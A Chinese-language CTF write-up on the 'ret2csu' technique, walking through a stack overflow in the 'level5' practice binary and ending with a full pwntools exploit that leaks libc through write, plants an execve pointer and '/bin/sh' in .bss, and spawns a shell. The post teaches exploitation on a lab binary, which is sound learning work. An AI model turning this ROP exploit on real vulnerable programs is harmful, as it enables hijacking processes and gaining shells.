csu利用

本文最后更新于 2024年10月9日 上午

csu的利用

原理

64位的动态连接文件一般有一段万能的gadget,里面可以控制rbx,rbp,r12,r13,r14,r15以及rdx,rsi,edi的值,并且还可以call我们指定的地址。然后劫持程序执行流的时候,劫持到这个__libc_csu_init函数去执行(这个函数是用来初始化libc的)

csu在我看来分为两种,一种是通过csu泄露基地址后,跟ret2libc一样调用就可以做出,一种是往bss段里注入/bin/sh,通过调用retsyscall来实现,一般第二种较为常见,这篇文章主要详解第二种

上题 例题是leve5

基础检查,只开了NX保护

丢入ida

存在溢出

查找一下后门

并没有发现

初步认为是泄露libc

我一开始的payload构造是跟普通libc一样

后面发现

文件缺少可用的寄存器进行传参(64位传参顺序 rdi rsi rdx rcx r8 r9)

后面再ida找到了csu函数

可以看到上面两端汇编几乎囊括了传参的寄存器,而且还有call指令以及retn,我们可以利用这两段gadget来传参和调用,因为我们要先调用下面一段来传参,所以我们认为下面一段为gadget1,上面一段为gadget2

这里解释一下cmp rbx,rbp。就是检查rbx-rbp是否为0,与jnz指令配合跳转。所以再传参的时候要将rbx设置为0,rbp为1。

因此可以定义可以传参函数

1
2
3
4
5
def csu(r12,r13,r14,r15,last):
payload=b'a'*(0x80+8)+p64(0x400606)+b'a'*8+p64(0)+p64(1)+p64(r12)
payload+=p64(r13)+p64(r14)+p64(r15)+p64(0x4005f0)+b'a'*56+p64(last)
io.send(payload)
sleep(1)

传参的顺序按照gadget1的顺序来,其中p64(0),p64(1)分别是rbx和rbp

上面在调用了gadget1后又填充了a*8,因为寄存器是用sp指针来传参的,所以rsp要正确指向寄存器。

可以看到这里多了var_30的偏移,我们要用gdb查看var_30的大小

在gadget1下断点运行

layout asm查看汇编代码试图

layout reg 查看寄存器状态

可以看到又0x8的偏移,所以要填充a*8,不同的libc偏移会不同,具体以调试为准

在执行完gadget2后,栈顶指针rsp距离retn有0x8*7个偏移(相当于传参6个参数和前面提到的8个垃圾数据,我们只有填充完才能覆盖retn返回main,来进行接下来的操作。

所以泄露libc的代码为

1
2
3
csu(write_got,1,write_got,8,main)
write_real=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(write_real))

点击并拖拽以移动

找到相应的libc 版本(这里不详细描述)

因为在文件里找不到相应的rdi,所以我们选择用retsyscall来利用,retsyscall调用的是exceve函数

第二次溢出用read 函数将后门函数注入bss段

最后进行第三次溢出调用retsyscall

运行exp得到shell

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import*
io=process('./level5')
context.log_level='debug'
elf=ELF('./level5')
__libc_start_main_addr=elf.got['__libc_start_main']
write_got=elf.got['write']
read_got=elf.got['read']
main=elf.sym['main']

def csu(r12,r13,r14,r15,last):
payload=b'a'*(0x80+8)+p64(0x400606)+b'a'*8+p64(0)+p64(1)+p64(r12)
payload+=p64(r13)+p64(r14)+p64(r15)+p64(0x4005f0)+b'a'*56+p64(last)
io.send(payload)
sleep(1)
io.recvuntil("Hello, World\n")
csu(write_got,1,write_got,8,main)
write_real=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(write_real))
base=write_real-0x0f7af0
print(hex(base))
system=base+0x04c920
exceve=0x0d4060+base
bss=0x601028
csu(read_got,0,bss,18,main)
io.recvuntil("Hello, World\n")
io.sendline(p64(exceve)+b'/bin/sh\x00')
csu(bss,bss+8,0,0,main)
io.interactive()

csu利用
http://example.com/2024/03/04/csu利用/
作者
清风
发布于
2024年3月4日
许可协议